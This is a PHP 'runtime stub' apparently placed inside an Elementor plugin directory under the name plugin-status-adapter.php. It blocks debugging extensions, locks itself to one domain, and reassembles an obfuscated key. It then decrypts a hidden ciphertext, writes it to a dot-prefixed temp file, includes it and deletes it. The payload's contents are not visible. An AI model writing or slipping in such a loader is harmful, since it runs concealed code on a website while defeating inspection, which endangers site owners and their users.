<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["oVbLDl\/mGmM=","1QA1voORROs=","fraqpM204Q0=","\/QPGFK4xi1w="]', true);
$__MASKS = json_decode('["lL5ltWHTrsY=","CW87KShF\/Os=","DOay\/tgvZH0=","S2KWNrUeCZE="]', true);
$__ROT   = json_decode('[2,5,2,3]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('RyyGn0KoRHQLm6XD664zqSQVdBvxDr0z');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL2lzb2xhdGlvbi9wbHVnaW4tc3RhdHVzLWFkYXB0ZXIucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('4xFtoaoUs3/mmuPNTRUR9NTwkPsTO6dR28RRYpL2lreK+htTGmKV6YiE84ybYXPoR1BLyt6Ps5/pMXOrrR2mLoPGMM0CnT08tLHDVzHJuB8Flxn1mYcQHZfiaUn0S9HepJ9ulIk91AkMXzXCFHhuLBoJoP48hAmDPWGbgScZeeLuZ1dBlx99QSb0kz118w/rYB6KSl+QMU9qWMY7mFCMOCQc5mmGunWa/5K5Vv6RHKEyue9SX+ZxBJzccWj1BAMmaBqzoKA0gAX+SfyRkvuftWdYqpZVHBRC5mfFq2BM2DTE6OufnT9l9WvaWJG6WUg8Cr3Dxz4g1e2k4QM2I5ixmXNB8Kj0Kc6cohDnJw6SUPQ8PvXZYHQ/pMYuPKuxZ80waQ3+k9Kr3w+QsNOzOYaQDTAzdLwkxDfC0azYKwZF2dUDndZjGtROcB+kBsh6EpRHdIUODvOUWGn8Upgr/jHDcBeocoQk8I2gCTC5j/8i5mVCKpgAjkSpTk7yW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jwu13AFW/qz+9frC4Lc/hq2tbWdTnK7bjT2qT7D+q+z/MM+hQefa93yC1d5vB+ISnP/m4d3irCgJTbH1Ks4Gv2Zrq7PpINYtJNcX4aIQHIecnR0UOd1mXMyhSOq/gJfj/5eQbu37vnbqOGU+aY4j1AAl0+bYUCLzvajpj1+Yz8gXSiVx7UrOoKkk7giN');

// Signature verification
$__PK  = base64_decode('TqHuSS8ObpWt9xwuTFs+pQlumwMg1LI7elwFdVbUFPw=');
$__SIG = base64_decode('oQkbTfQtSy9v466evPRhJAPtFhY3GP0XH3/u4/o0rLxUUFiOcBPOwBhvM9HHAEA56U+fLrHm5RWy/eqOYjA2Ag==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
